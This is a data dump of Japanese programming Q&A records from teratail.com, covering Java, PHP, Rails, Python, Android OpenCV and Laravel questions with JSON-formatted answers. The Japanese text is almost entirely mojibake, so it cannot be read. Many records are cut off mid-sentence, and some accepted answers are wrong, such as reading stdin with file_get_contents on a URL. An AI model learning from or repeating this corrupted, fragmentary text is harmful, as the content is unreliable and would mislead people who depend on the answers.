ãïŒïŒåãã£ãŠãæ¯èŒåæ°ãã ãããšã«æåããŸãããæ¬¡ã«ãããªããŠã¯ãããªãã®ã¯10ååºãæ¯èŒåæ°ã®å¹³åãæ±ããããšã§ãã
åèšã®æ¯èŒåæ°/ïŒïŒãšãããããšã¯ãããã®ã§ãããã©ããã£ãŠæ¯èŒåæ°ãåèšããã®ããããããŸããã
æ¯èŒåæ°ïŒcomparisonã§ãã£ãŠããã®ãããããŸããããæ£è§£ã¯bubblesortã¯ïŒïŒïŒïŒåã§ãã
ãã®ã¯ã©ã¹ãã¡ã€ã³ã¡ãœããã®ããã¯ã©ã¹ããåŒã³åºãããã§ãã
```
import java.util.Random;
public clas... | javaã§ïŒïŒåç¹°ãè¿ããæ¯èŒã®å¹³åå€ãæ±ãã
=======================
| teratail.com | 2021.39 | [
{
"text": "bubbleSort()ã®è¿ãå€ãæ¯èŒåæ°ã«ããŠãmain()ã§å¹³åå€ãæ±ããŠã¯ã©ãã§ãããã\n\n",
"name": "",
"is_accepted": true
},
{
"text": "ããã«ã¡ã¯ã \n\n\n###  ããã«ãœãŒãã«ãããæ¯èŒåæ°ã«ã€ããŠ\n\n\nããŒã¿ãNåãããšãã®æ¯èŒåæ°ã¯N * (N + 1)/2ã§ãã \n\n[Javaã§ããã«ãœãŒã](https://qiita.com/Liberty/items/180b686c97dc8732235a) \n\n\nãããŸã§ããç§ã®æ¶æž¬ã«ãããŸããããããããæ±ãããã®ã¯æ¯èŒå... |
f32c5093d0456d21879c0ba126322e86 |
```
<?php
class Question{
private $questionNo;
private $sentence;
private $answer1;
private $answer2;
private $answer3;
private $answer4;
private $answer5;
private $correctNo;
public function \_\_construct($questionNo,$sentence,$answer1,$answer2,$answer3,$answer4,$answer5,$correct... | phpã®é
åãforãªã©ã®ç¹°ãè¿ããã€ãã£ãŠè¿œå ãããã§ã
=============================
| teratail.com | 2020.16 | [
{
"text": "\n> \n> æååãšããŠå
¥ã£ãŠããããã§å€æ°ãåŒã³åºããŸããã§ããã \n> \n> \n> \n\n\nãã¡ããããå¯å€å€æ°ããšãã£ãŠã`${ 'question' . $y }`ã®ãããªæžãæ¹ãããã°å€æ°åã§åç
§ã¯ã§ããŸãã \n\n\nãã£ãšããæåããé
åãäœã£ãŠã`$question1`ãªã©ã䜿ããªãããã«ããã»ããããããšã¯æããŸãã\n\n",
"name": "",
"is_accepted": true
}
] |
62933dcf0f1061bdb67a62797c47f9c1 |
WordPressã§å人ããã°ãå§ããphpåå¿è
ã§ãã
å
æ¥ããã°ã調æŽãããããè²ã
ãšããã°ã©ã ãããã£ãŠããã
Fatal error: Cannot redeclare \_()
ãšãããšã©ãŒãåºãŸããã管çè
æš©éã®ããŒãžãšå
¬éããŒãžãã©ã¡ãã衚瀺ãããŸããã
å§ããŠèŠããšã©ãŒã®ãããã©ããããããã®ããããããDBãšã©ãŒã®ãã§ãã¯ããæé©åã詊ããŠã¿ãŸããããšã©ãŒããå埩ããŸããã§ããã
ãã®ããçŸåšã¯ããã°ãµã€ããééããŠããç¶æ
ã§ãã
phpã«ãããŸã§æ
£ããŠããªãã®ã§ãåå ããã£ã±ãåãããŸããã
Googleã«ãŠæ€çŽ¢ã詊ããŠã¿ãŸãããããFatal err... | Fatal error: Cannot redeclare \_()
==================================
| teratail.com | 2020.05 | [
{
"text": "Fatal error: Cannot redeclare \\_()\n \nãšã©ãŒã³ãŒããæ€çŽ¢ããŠã¿ãŠåºãªãæã¯ã翻蚳ããŠã¿ããšåå ãåãããããã§ãã\n \nä»åã®ãšã©ãŒã³ãŒãã翻蚳ãããšãèŽåœçãšã©ãŒïŒ\\_()ãå宣èšããããšãã§ããŸããããšåºãŸãã\n \nFatal errorïŒèŽåœçãªãšã©ãŒ\n \nCannotïŒã§ããªã\n \nredeclareïŒå宣èšããŠãã ãã\n \nã§ããã\n \n\n \nphpã®ã³ãŒãã¯è±èªãã€ã¹ããªã®ã§ãããçšåºŠã®ãã¥ã¢ã³ã¹ãç¥ãããšãã§ããŸãã\n \nä»åãšã©ãŒãåºããããã°ã©ã ã³ãŒãã®èšèŒããããŸããã®ã§ãäºæ³ã®ç¯å²... |
82046507feb6cb6aa7da342aa285a040 |
ããã«ã¡ã¯ã
ä»ã©ãããŠãçå±ã§ãªãã§ã ããªã®ãçè§£ã§ããªãåé¡ããããŸãã®ã§ãã¢ããã€ã¹ãããã ããªãã§ããããã
ããããããšã¯ãïŒçš®é¡ã®ããŒã¿(Fares,Options)ããµãŒããŒäž(Parse,com)ããéåæã§ååŸãããããããå¥ã®ããŒãã«ã«äžŠã¹ãŠè¡šç€ºããããšããããšã§ããïŒã©ã¡ããããŒã¿ãååšããªãã±ãŒã¹ããããŸãïŒã
ãããŠãScrollViewã®contentSizeãããŒã¿æ°ã«ãã£ãŠå¯å€ã«ããŠããŸãã
â»1ãšâ»2ã«ã€ããŠã¯ãã©ã¡ãã§åŒã³åºããã¿ãŒã³ã詊ããŠããŸãã
ã©ã¡ãã®ã±ãŒã¹ããFareã®èŠåºããšããŒãã«ã¯è¡šç€ºãããŸãããoptionã«ã€ããŠã¯ã©ã¡ã... | ScrollViewäžã«å¯å€ã®UITableã2ã€èšçœ®ãããšã
===============================
| teratail.com | 2020.34 | [
{
"text": "ãã£ãšããèŠãŠããŸããããæ°ã«ãªãã®ã¯\n \n`self.optionHight = self.optionHight + self.optionHight + CGFloat(60 * (objects?.count)!)`\n \n\n \nããã¯\n \n`self.optionHight = self.optionHight + CGFloat(60 * (objects?.count)!)`\n \nãšãããã£ãããããªããã§ãããã?\n \n\n \nãããåå ã§ãScrollViewã®contentSizeç¯å²ãããã£ãšäžã®ãšããã«\n \noptionTabl... |
21053f7ec8eed24aab7606216bbc6906 |
cakephpã§bakeãscaffoldã£ãŠäœ¿ã£ãŠãŸããïŒ
cakephpãèŠãããŠã®ãšãã«åŠç¿ããã£ããã§ãå®åã§ã¯äœ¿ã£ãããšãªãã®ã§ãããsymfonyãruby on railsã§ã¯ã³ã³ãœãŒã«ããControllerãviewãèªåçæããŠãŸããããcakeã®å Žåã¯äŒŒããããªæ©èœã®ControllerãViewããã¡ã€ã«ã³ããŒããŠäœ¿ã£ãŠãŸãã
| cakephpã§bakeãscaffoldã£ãŠäœ¿ã£ãŠãŸããïŒ
==============================
| teratail.com | 2021.39 | [
{
"text": "æ°èŠã§ãµã¯ã£ãšç°¡æããŒã«ãäœãå Žåã¯cakephpã®bakeãçµæ§äœ¿ããŸãã\n \nDBã®æ§é ã«ããããŠãselectboxããcheckboxãªã©ãåãããŠãããã®ã§äŸ¿å©ã§ãïŒ\n \nãã 䜿ãã®ã¯æåã ããªã®ã§ãDBã®æ§é 倿Žãã¬ã€ã¢ãŠãã倿Žãããããšã\n \nbakeã§çæããéã«äºæãã¬ãšããã«åœ±é¿ã§ãããã¡ããã®ã§ãæ
£ããå¿
èŠããšæããŸãã\n \n\n \nåã¯ERå³ã€ãã£ãŠãbakeã§éªšçµã¿ã®ç®¡çç»é¢äœã£ãŠã¡ãã£ãšã¬ã€ã¢ãŠãããã£ãŠã\n \näŸé Œè
ã«äœ¿ã£ãŠããããšããã¹ã¿ã³ã¹ã§ãã\n \nç°¡åïŒãšãŠãïŒãªããŒã«ã§ããã°cakephpãã€ããã°å³æ¥ã§çšæã§ãã... |
fb49df9b88924a7e606b1ade210fc36e |
ããŒã«ãããŸãè·³ãè¿ããŸãããã©ããééããŠããŸããïŒ
```
import sys
import pygame
from pygame.locals import QUIT
from pygame.locals import Rect
import math
pygame.init()
SURFACE = pygame.display.set_mode((400,300))
pygame.display.set_caption("Game Window")
FPSCLOCK = pygame.time.Clock()
class Ball:
def __init__(self, color, rect)... | ããŒã«ã®è·³ãè¿ãã¡ãœããïŒ
=============
| teratail.com | 2021.31 | [
{
"text": "è§åºŠdirãmoveæ¯ã«åãå€ã«åæåãããŠããã®ããŸããã§ãã以äžã®ããã«ã¡ã³ã倿°ã«ãããšããã§ãã \n\n\n\n```\n def \\_\\_init\\_\\_(self, color, rect):\n self.color = color\n self.rect = rect\n self.dir = 320 # ã¡ã³ã倿°ã«ãã\n def move(self):\n # dir -> self.dirã«å€æŽ\n```\n",
"name": "",
"is_accepte... |
fb869bd71226645f6760dbcaa69c2df9 |
[Flat-ui](http://designmodo.github.io/Flat-UI/)ã®é©å¿æ¹æ³ãæããŠãã ãã
èªåã§èª¿ã¹ãŠè²ã
詊ããŸãããããã©ã³ãã®é©å¿ãšã¢ã€ã³ã³ã®é©å¿ãããŸããããŸãã
çŸç¶ã¯Flat-uiã®åãã¡ã€ã«ãããããäžèšãã©ã«ãã«æ ŒçŽããŠããŸãã
app/assets/javascripts
app/assets/stylesheets
app/assets/fonts
| Rails4 Flat-uiã®é©å¿
=================
| teratail.com | 2021.10 | [
{
"text": "ããã«ã¡ã¯ã\n \n\n \ngemã䜿çšããªããšããæ¹æ³ããåžæã®ããã§ãããgemãã€ã³ã¹ããŒã«ãããã ãã§ã¯è¡šç€ºã§ããŸããã\n \n以äžã®æé ãå¿
èŠã«ãªããŸãã\n \n\n \n\n \nãŸãäžèšã®ãµã€ãã®éãã®æé ã§ãµã³ãã«ãäœæããŠãããŸãã\n \nhttp://www.absolute-keitarou.net/blog/?p=141\n \n\n \nâ  Gemfileã«ä»¥äžãå ããŠ\n \ngem 'flatui-rails'\n \n\n \nâ¡Â ãã³ãã©ãã¯ããããŸã\n \nbundle install\n \n\n \nâ¢Â app/a... |
8d275cac297cbfbc576c5f809c4bd542 |
whileæã®äžã§setTextã¡ãœããã䜿ããšããŸããããŸãã
ãªãã§ãããã
```
//TryCount = 0,TIME = 500,SetObject()å
ã¯å€å°è² è·ããããå
容ã«ãªã£ãŠãŸã
while (TryCount < TIME + 1) {
Set_Object();//é ç¹ãäœæã
Net.setText(TryCount);
TryCount++;
}
```
| Whileå
ã§ã®TextViewã®ç·šé
===================
| teratail.com | 2021.17 | [
{
"text": "UIã®å€æŽã¯ã¡ãœãããæãããŸã§è¡ãããŸãããwhileæçã§ç¹°ãè¿ãè¡ãªã£ãŠãUIã«åæ ãããã®ã¯æåŸã®å€æŽã ãã§ãã\n\n",
"name": "",
"is_accepted": true
},
{
"text": "setTextã«intåãæž¡ããšããªãœãŒã¹idãšè§£éãããŸããæ°åã衚瀺ãããããªããæååé£çµãªãString.valueOfãInteger.toStringãªãã§æååã«å€æããå¿
èŠããããŸãã\n\n",
"name": "",
"is_accepted": false
}
] |
597cc6129d772699f059052dadce7376 |
### åæã»å®çŸãããããš
module Kazãmodule Test2ã«includeããŠ
ååãå°æåã§åºåãããã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
çŸç¶ã§ã¯ãClassã«includeããã°äºæ³éãã«å°æåïŒâcarâïŒãåºåããããã
moduleã«includeãããšå€§æåïŒâCarâïŒã§æšç€ºãããã
### 該åœã®ãœãŒã¹ã³ãŒã
```
module Kaz
listA = ["Car", "Train"]
# method generate
listA.each do |c|
define\_method "#{c}" do
ev... | Moduleã«includeããå ŽåãšClassã«includeããå Žåã§ãçµæãéãã®ã ããã©ãããŠããªïŒ
======================================================
| teratail.com | 2021.17 | [
{
"text": "`a.Car.name`ã§ã¯ã`a.Car`ãšãã**ã¡ãœããåŒã³åºã**ã§ãããTest2ã¢ãžã¥ãŒã«ã®äžã®`Car.name`ã¯`Car`ãšãã**宿°åŒã³åºã**ã§ããKazã¢ãžã¥ãŒã«ã«ã¯Carãšãã宿°â»ãšCarãšããã€ã³ã¹ã¿ã³ã¹ã¡ãœããã®**åãååã§éããã®**ãåæã«ååšãã宿°ã®Carã¯Carãšãã**ã¯ã©ã¹**ã§ãã¡ãœããåŒã³åºãã¯Carãnewãã**ã€ã³ã¹ã¿ã³ã¹**ã§ããã¯ã©ã¹ã«ã¯ããã©ã«ãã§`name`ã¡ãœããããããèªåã®åå(ã¯ã©ã¹å)ãè¿ãã®ã§ãã©ã¡ãããšã©ãŒã«ãªããŸããã`name`ã®ä»£ããã«`class`ãšãããšäœã®ã¯ã©ã¹ã®ãªããžã§ã¯ããªã®ããããããããšæããŸã... |
2506d2f2e9223c5a88601d40d5f2d71f |
### åæã»å®çŸãããããš
ã¹ããã§èŠããšãã«ã衚瀺ãããç»åã«æ°ç§åŸèªåã§ç»åãšåã倧ããã®ãã£ãã·ã§ã³(ããã¹ãå
¥ã)ã被ãããã§ããããŠã¹ãªãŒããŒã§è¡šç€ºãããããšã«ã¯æåããŸããããèªåã§è¡šç€ºãããããã«ãããã§ãã
ããã«è³ªåã®å
容ã詳ããæžããŠãã ããã
ã©ã®ãããªhtml,cssã䜿çšããã°è¯ãã§ããããïŒ
### 該åœã®ãœãŒã¹ã³ãŒã
```
<figure>
<img src="ç»åURL" />
<figcaption>
<p class="fontL">ããã¹ã</p>
<p class="fontM">ããã¹ã</p>
... | ã¹ããã§èŠããšãã«ã衚瀺ãããç»åã«æ°ç§åŸèªåã§ç»åãšåã倧ããã®ãã£ãã·ã§ã³(ããã¹ãå
¥ã)ã被ãããã§ãã
=======================================================
| teratail.com | 2021.31 | [
{
"text": "[ãµã³ãã«](https://jsfiddle.net/Lhankor_Mhy/rb7jk4zt/) \n\n\n\n```\nfigcaption {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 2;\n width: 100%;\n height: 100%;\n background: rgba(0,0,0,.5);\n/* ããããåé€\n -webkit-transition: .3s;\n -moz-transition: .3s;\n -ms-transition: .3s;\... |
4ea300177077657a75a8802b2fd80b04 |
PHPã§æååã®äžã«ããstdinã®ã³ã³ãã³ã(EOFãŸã§ïŒãèªã¿åãæ¹æ³ãæããŠãã ããã
èªåã§èª¿ã¹ãŠã¿ãŠãåãããªãã£ãã®ã§ããããããé¡ãããŸãã
| PHPã§æååã®äžã«ããEOFãŸã§ãèªã¿åãæ¹æ³ãæããŠãã ããã
=================================
| teratail.com | 2021.31 | [
{
"text": "äžèšã®ã³ãŒãã䜿ã£ãŠã¿ãŠãã ããã\n \n\n```\nfile_get_contents(\"http://test.txt\");\n```\n\n \näžèšããã¥ã¢ã«ã\n \n\n \nhttp://www.php.net//manual/ja/function.file-get-contents.php\n \n\n \n\n \n \n",
"name": "",
"is_accepted": true
}
] |
ebcdc1142f37cd1ab2d68deea91f0b2b |
### åæã»å®çŸãããããš
åããŸããŠãåå¿è
ãªã®ã§ãããçŸåšç»é²ç»é¢ã«ããªããŒã·ã§ã³ãã¢ãã«ã«ä»äžã
æ¥æ¬èªã«ãããšã©ãŒã衚瀺ãããã¹ãå®è£
ããŠããŸãã
å€ãã®ãµã€ããããuserã¢ãã«ã«ããããå®è£
ã¯ãªããšãããŸããã
ç¶ããŠãuserã«é¢ããå¥ã®æ
å ±ãç»é²ããããã®staffmemberãšããã¢ãã«ã远å ã
ããã«ã€ããŠãåæ§ã«ããšã©ãŒã®æ
å ±ãæ¥æ¬èªã§è¡šç€ºãããããã«ja.ymlã«
ã³ãŒãã远èšããã®ã§ãããåæ ããªãç¶æ³ã§ãã
ã€ã³ãã³ãã«ã€ããŠããæ³šæãèšèŒããã®ã§ãããããããã®æ§æã
ééã£ãŠããã®ãããããæ©ãã§ãããŸãããææãé¡ãããããŸãã
ç°å¢ïŒRuby... | ïŒä»¥äžã®ã¢ãã«ã§ja.ymlãåæ ããªãã
=====================
| teratail.com | 2021.25 | [
{
"text": "ç¿»èš³ã®æ¹ã«: ãããããã ãšæããŸãã \n\n:ãããå Žåã¯\"ã'ã§å²ã£ãŠãããŠãã ããã \n\n\n\n```\nblank: \":ã空çœç»é²ã§ããŸããã\"\n```\n",
"name": "",
"is_accepted": true
},
{
"text": "\n```\nja:\n activerecord:\n errors:\n models:\n user:\n attributes:\n name:\n blank: ïŒç©ºçœã«ãªã£ãŠããŸãã\n email:\n blank: ïŒç©ºçœã«ãªã£ãŠããŸãã\n invalid: ïŒæ£ããã¡... |
49b296b15a93d3196f612382fe307c5b |
äžã®ããã«ç»åããã¹ã¯åŠçããŸãã
```
import cv2
im=dataset.load_image(1)
im_gray = 0.299 * im[:, :, 0] + 0.587 * im[:, :, 1] + 0.114 * im[:, :, 2]
print(im.dtype)
print(im_gray.dtype)
# uint8
# float64
print(im.shape)
print(im_gray.shape)
# (512, 512, 3)
# (512, 512)
```
ãã®ãã¹ã¯åŠçããç»åã«æŽæ°ã®ã©ãã«çªå·ãå ãã3次å
ã«ããæ¹æ³ã¯ãªãã§ããããïŒ
**labelçªå·... | pythonã§ãã¹ã¯åŠçããç»åã3次å
ã«ããæ¹æ³
=========================
| teratail.com | 2020.50 | [
{
"text": "\n```\ndef load\\_mask(self, image\\_id):\n \"\"\"Load instance masks for the given image.\n Different datasets use different ways to store masks. This\n function converts the different mask format to one format\n in the form of a bitmap [height, width, instances].\n Returns:\n masks: A bool a... |
3c68347d8fbe698c55a8225920f1928d |
ãã®ããã°ã©ã ã¯å€ãæ ŒçŽããéã«ãã¥ãŒãã¹ã¿ãã¯åãéžæããããšãã§ããŸãã
ãã¡ã¯ããªãäœãããšã¯äŸãèŠãŠã§ããã®ã§ãããå€ã®åãåºãæ¹ãåãããŸããã
ãã®ããã°ã©ã ãã³ã³ãã€ã«ãããšæ¬¡ã®ããã«ãšã©ãŒãåºãŸããå€ãåãåºãéã«ãã®å€ã®ãããªããžã§ã¯ããæããªããã°ãããŸããããã®å·®ãæ¹ãééã£ãŠãã®ã ãšæããŸãããçŽãæ¹ãåãããŸããã
ques12n3s.cpp: In function âint main()â:
ques12n3s.cpp:145: error: expected primary-expression before â;â token
ques12n3s.c... | c++ ãã¡ã¯ããªã§ãªããžã§ã¯ããäœæåŸããã®ãªããžã§ã¯ãããã€ã³ã¿ã§æãã«ã¯
=======================================
| teratail.com | 2021.31 | [
{
"text": "ãã®ã³ãŒãã ãšã©ãããããšãããããã®ãããå€ããŸãããã©ã»ã»æåã®Â for ã«ãŒãã§Â queue ã stack ãã«ãŒãæ¯ã«äœæããŠãããããªã®ã§ãããããã§ãã£ãŠããŸããïŒÂ ããã ãšãèŠçŽ æ°ãïŒåã®Â queue ã stack ãåèšÂ 10 åäœæãããã ãã§ãããã©ãã»ã»\n \n\n \nãããšãããã®ãã¡ã¯ããªã¯éçãªÂ queue ã stack ã®ã€ã³ã¹ã¿ã³ã¹ãè¿ãã®ãæ£ããã®ã§ã¯ãããŸãããïŒ\n \n\n \näŸãã°æ¬¡ã®ããã«ã§ãã\n \n\n \n\n```\nDataStruct *DataStructFactory(char what)\n{\n    st... |
3c415e3ca26607e254d12b9ecf7023a5 |
### åæã»å®çŸãããããš
[Ruby on Rails5ã®ãã¥ãŒããªã¢ã«](https://railstutorial.jp/chapters/static_pages?version=5.0#cha-static_pages)ã䜿ã£ãŠå匷ãããŠããŸãã
çŸåšç¬¬3ç« ãŸã§é²ã¿ãæ°ããã¢ããªã±ãŒã·ã§ã³ã®äœæã«ããã£ãŠGemã®ã«ã¹ã¿ãã€ãºãè¡ãªã£ãŠããã®ã§ããã**bundle installãbundle updateãå®è¡ããŠããšã©ãŒãçºçããŠããŸããŸãã**
ãŸã Rubyã®åŠç¿ãåããŠäºé±éçšåºŠãªã®ã§éæ®ãªè³ªåãããããŸãããããã¥ãŒããªã¢ã«ãé²ããããšãã§ããå°ã£ãŠããã®ã§ã©ãããããããé¡ãããŸãã
... | Ruby on Railsã§bundle installããšã©ãŒã«ãªã£ãŠããŸã
=======================================
| teratail.com | 2020.50 | [
{
"text": "\n> \n> ã¡ãã»ãŒãžã«ã¯ç§ãçè§£ããéãããŒãžã§ã³ã2以äžã§ã¯é«ããããšæžãããŠããã®ã§å°æããŠããŸãã \n> \n> \n> \n\n\næ®å¿µãªãããã®ãšããã§ãRails 5.0.3ã¯Bundler 1ç³»åãšçµã¿åãããªããšåããŸããã \n\n\nRails 5.0ç³»åã§ã5.0.5以äžã§ããã°Bundler 2ç³»åããµããŒãããŠããã®ã§ãå°ãããŒãžã§ã³ãäžããŠã¿ããšããã§ãããã\n\n",
"name": "",
"is_accepted": true
}
] |
95d1d10d57666139f97fb7478b4f6d6c |
FullCalendarã䜿ã£ãŠgoogle calendarã«ç»é²ããŠããã€ãã³ããååŸããŠããŸãã
äŸãšããŠãæ¥æ¬ã®ç¥æ¥ãªã®ã§ãããäžèšã®ããã«èšèŒããŸããã
```
eventSources: [
{
googleCalendarId: 'ja.japanese#holiday@group.v.calendar.google.com',
className: 'event\_holiday',
success:function(info) {
let event = document.getElementsByClassName('fc-list-event');
... | HTMLCollectionã®lengthã£ãŠãªã«ãªã®ã§ãããïŒ
================================
| teratail.com | 2020.29 | [
{
"text": "æ°ã«ãªã£ãŠèª¿ã¹ãŠã¿ããšãããã¬ã³ããªã³ã°åã ããã¿ããã§ãã \n\n\n[ã¹ã¿ãã¯ãªãŒããŒãããŒ](https://stackoverflow.com/questions/30211605/javascript-html-collection-showing-as-0-length)\n\n",
"name": "",
"is_accepted": true
}
] |
8bb47d3007efea81b9b362794ab36d26 |
ç§ã¯androidstudioã§ã¢ããªéçºãè¡ã£ãŠããŸãã
å®çŸãããããš
=======
opencvã§èµ€ãè²ãæ€ç¥ããŠèµ€è²ãçœã«ããã以å€ãé»ã«ããŠãã®ããšã«èµ€ãç©ã®èŒªéã®äžå¿åº§æšãè¿ãããã§ãã
åé¡ç¹
===
onCameraViewStopped()ã®äžã®inRangeã§èµ€ãçœã«ããã以å€ãé»ã«ããããšã¯ã§ããŸãããfindContoursãããŸããã£ãŠããªãã®ãã茪éã«ç·ãåŒãããšãã§ããŠããŸãããããã§ã¯äžå¿ç¹ãåºããªãã§ãããïŒå®è¡ããŠãé»ãšçœã®æ åããåºãŠããŸãã
åœè©²ã®ã³ãŒã
======
```
import android.app.Activity;
import andro... | android opencvã§èŒªéæç»
===================
| teratail.com | 2019.43 | [
{
"text": "\n```\nimport android.app.Activity;\nimport android.os.Bundle;\nimport android.util.Log;\nimport android.view.MenuItem;\nimport android.view.SurfaceView;\nimport android.view.WindowManager;\nimport org.opencv.android.BaseLoaderCallback;\nimport org.opencv.android.CameraBridgeViewBase;\nimport org.ope... |
65e348f15d575e0d798a9774e4f9334b |
###  åæã»å®çŸãããããš
Kivyã®ScrollViewã®å
éšã§ãå·Šã¯ãªãã¯ã«ãããã©ãã°æäœã䜿ããããããäžã¯ãªãã¯(ãã€ãŒã«ã¯ãªãã¯)ã«ãããã©ãã°ã§ã¹ã¯ããŒã«ãããããšæã£ãŠããŸãã
å³ã¯ãªãã¯ã§èµ€ãäžžãåºãªãããã«ã
`Config.set('input', 'mouse', 'mouse,disable_multitouch')`
ã§ãã«ãã¿ãããç¡å¹ã«ããã®ã§ãããå³ã¯ãªãã¯ãäžã¯ãªãã¯ãšãã«å·Šã¯ãªãã¯ãšåæ§ã«æ±ãããŠããŸãã¹ã¯ããŒã«ã«ã¯äœ¿ããŸããã
äžã¯ãªãã¯ã¯å·Šã¯ãªãã¯ãšã¯æ±ãããã¹ã¯ããŒã«çšãšããŠäœ¿ããããã«ãããã§ãã
ç°¡åãªScrollViewã®ã³ãŒããèŒããŠãããŸã... | Kivyã®ScrollViewã§äžã¯ãªãã¯ã«ãããã©ãã°ã§ã¹ã¯ããŒã«ãããã
======================================
| teratail.com | 2020.05 | [
{
"text": "ã³ã¡ã³ãã ãšMarkdown䜿ããªãã®ã§ãã£ã¡ã«æžããŸããã \n\n\n\n> \n> ãã®ã³ãŒãã§ã¯ç¢ºãã«ããæããããŠããŸããŸããããã¿ãŸããã説æäžè¶³ã§ããã \n> \n> å³ã¯ãªãã¯ã»äžã¯ãªãã¯ã§ãåé¡ãªãã¹ã¯ããŒã«ã§ããŠãããŸãã \n> \n> \n> \n\n\nãã£ä»ããããŸãããå³ã¯ãªãã¯ã»äžã¯ãªãã¯ã§ããã¿ã³ãåå¿ããŠããŸãã®ãå°ããšããæå³ã ã£ããã§ãããå€åã \n\n\nKivyã«ãããŠMouseã®ãããªç»é¢äžã®äœçœ®ãæãé¡ã®å
¥åã¯WidgetTreeã®èŠªããåãžé çªã«äŒãã£ãŠããã®ã§ããã¿ã³ã®ç¥å
(çŽæ¥ã®èŠªãšãã®ããã«äžã®èŠªé)ã®Widgetã®ã©ãããå³ã¯ãªã... |
9ee0edac86203a374503fba7b603c68a |
xcodeã§FLTKã®ã©ã€ãã©ãªã䜿ããããšæã£ãŠããŸã
xcodeã«FLTKãã€ã³ã¹ããŒã«ããæ¹æ³ãç¥ããããšæã£ãŠãŸãã
äžã«ããREADME.OSX.txtã®4.4以éã®ããæ¹ãªã©ããããã°
ã§ãããšæãã®ã§ãããã©ãã§ãããã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
Undefined symbols for architecture x86\_64:
"Fl::run()", referenced from:
\_main in main.o
"Fl\_Box::Fl\_Box(int, int, int, int, char const*)", refere... | xcode8.2.1ã§FLTKã䜿ãããã§ã
======================
| teratail.com | 2019.51 | [
{
"text": "äžæ§ã§ããŸããã \n\n1)FLTKãããŠã³ããŒããã \n\n2)ããŠã³ããŒããã¡ã€ã«ãè§£åããŠããã®äžã«å
¥ã£ãŠããideãã¡ã«ããŒãéã \n\n3)ideãã©ã«ããŒã®äžã«Xcodeã®ãã¡ã€ã«ãããã®ã§(ãã®æã¯Xcode4ã®ãã¡ã€ã«ãå
¥ã£ãŠãŸããã)ã \n\nãã®Xcodeã®ãã¡ã€ã«ã®äžã«ããFLTKãããžã§ã¯ããXcodeã§éã \n\n4)ã¡ãã¥ãŒããŒã®Product > Schemeã§ã¿ãŒã²ãããDemoã«ããŠãã \n\n5)ã¡ãã¥ãŒããŒã®Product > Build for > Runningãå®è¡ãããŸãã¡ãã¥ãŒããŒã®Product > Runãå®... |
b2cc8f666c26c52fdfef442a76d5cb97 |
Railsã®createã¢ã¯ã·ã§ã³ã®åŒæ°ã«ã¯ã«ã©ã ãšããã«ä¿åãããå€ãå
¥ãããšæããã§ããããã®å€ãã¹ããã³ã°ãã©ã¡ãŒã¿ãŒãéããŠæ±ºãããšãã«
```
class TweetsController < ApplicationController
def create
Tweet.create(tweet_params)
end
private
def tweet\_params
params.permit(:image, :text)
end
```
ãã®ããã«æž¡ãããšãã§ããŸãããïŒ
ããã«å¯ŸããŠãcreateã®åŒæ°ã«tweet\_paramsã«ãããã®ãšã¯å¥ã®param... | Railsã®createã®åŒæ°ã«ã€ããŠïŒ + privateã«ã€ããŠïŒ
===================================
| teratail.com | 2020.45 | [
{
"text": "\n```\n# åããªãæ°ããã\nTweet.create( **tweet_params, user\\_id: current_user.id)\n# ãã¡ã ã£ããã³ãã\nTweet.create( tweet_params.merge!(user\\_id: current_user.id))\n```\n\n\n> \n> å€éšããã®åŒã³åºããé¿ããããã«privateã¡ãœãããã€ãããšãããŸããã \n> \n> å®éã«å€éšããåŒã³åºãããç¶æ³ãåŒã³åºãããããŸããç¶æ³ã£ãŠãªããªã®ã§ããããïŒïŒ \n> \n> \n> \n\n\nrubyã®å ŽåãåŒãŒããšæãã°å€éšã®ã¯ã©ã¹ã... |
481343bd5a399ffc4a873ed162005408 |
### åæã»å®çŸãããããš
Pythonãæ¬ã§å匷ããŠããã®ã§ãããå
容ãåããŠããã®ã«ããŸããããŸããã
drinksãšããèŸæžã®äžãã'vodka'ãå«ãã ãã®ã衚瀺ããããã§ãã
ãããããé¡ãããŸãã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
```
SyntaxError: invalid syntax
```
### 該åœã®ãœãŒã¹ã³ãŒã
```
for name, contents in drinks.items(): if 'vodka' in contents: print(name)
```
### 詊ããããš
ããã«åé¡ã«å¯ŸããŠè©ŠããããšãèšèŒããŠãã ããã
... | Python ãšã©ãŒã®çç±ãåãããªã
===================
| teratail.com | 2021.39 | [
{
"text": "æ¬åœã«æ¹è¡å«ããŠããæžããŠãããŸãããïŒãæ§æäžãšã©ãŒã«ãªãã®ã§ããã \n\n\næ®éã«æ¹è¡ã»ã€ã³ãã³ãããŠæžãã°åããŸãã \n\n\n\n```\ndrinks = {\"ãããã\":\"vodka\", \"ãã\":\"gin\"}\nfor name, contents in drinks.items():\n if 'vodka' in contents: \n print(name) # =>ãããã\n```\n\nãããå¯ã \n\n\n\n```\ndrinks = {\"ãããã\":\"vodka\", \"ãã\":\"gin\"}\nfor n... |
a50919f4dd8e8c9ddb2104a946218047 |
æŠèŠ
--
çŸåšäžèšã®æ§ãªæ§æã®ã¢ããªã±ãŒã·ã§ã³ãéçºããŠããŸãã
[](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/8db967454e96a4b3c5f6b8866894ceaf.png)
ããã³ããšã³ãã«React.jsãããã¯ãšã³ãã«APIãµãŒããŒã®Lumenããã®éã«ãªããŒã¹ãããã·ãšã... | ç¹å®ã®ã«ãŒãã®ã¿React(JavaScript)ããLumen(PHP)ãžAjaxãããéã«CORSã§åŒŸãããã
=========================================================
| teratail.com | 2020.45 | [
{
"text": "PHPã®ãšã©ãŒãä¿®æ£ãããšããæ£åžžã«åäœããããŸããïŒ\n\n",
"name": "",
"is_accepted": true
}
] |
12d7e1a58fe9febb60e4dc8885ffe5f3 |
### åæã»å®çŸãããããš
å€éšã¢ããªã±ãŒã·ã§ã³ããéãããŠããJsonãLaravelã§åãåã£ãŠããããMysqlã«ç»é²ãã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
```
{ "message": "SQLSTATE[HY000]: General error: 1364 Field 'user\_name' doesn't have a default value (SQL: insert into `users` (`account\_code`) values (account\_code))", "exception":
```
### 該åœã®ãœãŒã¹ã³ãŒã
```
public fun... | laravelã§åãåã£ãJsonãããŒã¿ããŒã¹ã«ä¿åããã«ã¯
===============================
| teratail.com | 2020.16 | [
{
